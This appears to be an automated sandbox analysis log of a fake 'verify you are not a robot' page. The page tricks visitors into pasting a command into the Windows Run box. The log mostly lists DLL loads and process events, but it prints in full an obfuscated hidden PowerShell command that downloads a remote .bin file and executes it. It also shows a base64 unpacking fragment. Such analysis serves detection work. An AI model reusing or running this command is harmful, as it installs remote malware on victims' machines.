Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($z));$byteSTriNG = $Enc.$CVuaLhN1RccnM3ERl0SadUDnZEo1bErVwcWOIMKX3lRIWGCiQGYHB5vyAHRyPaAUtYWpxCJxcEBSm0eyqdVCZt8p3as6IScdMHffaSTD7vBmakZa5f1y4TygvKpzCRdcgCv5icqS2x91xwwR8f0LerOe5uYPYg

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()			Jump to behavior

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 1.5	OCR Text: Complete these Verification Steps To better prove you are not a robot, please: 1. Press & hold the Windows Key C + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: "t am not a robot reCAPIC"A Perform the steps above to finish verification.
Source: screenshot	OCR Text: x e about:blank CiPSSO. Nel cuore di Roma, ae x X cipassaitalia.it Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: robot VERIFY finish verification. 07:19 ENG p Type here to search SG WOI/2025
Source: screenshot	OCR Text: x e about:blank CiPssa. Nel cuore di Roma, x a X cipassaitalia.it Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: robot VERIFY finish verification. 07:19 ENG p Type here to search SG WOI/2025

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
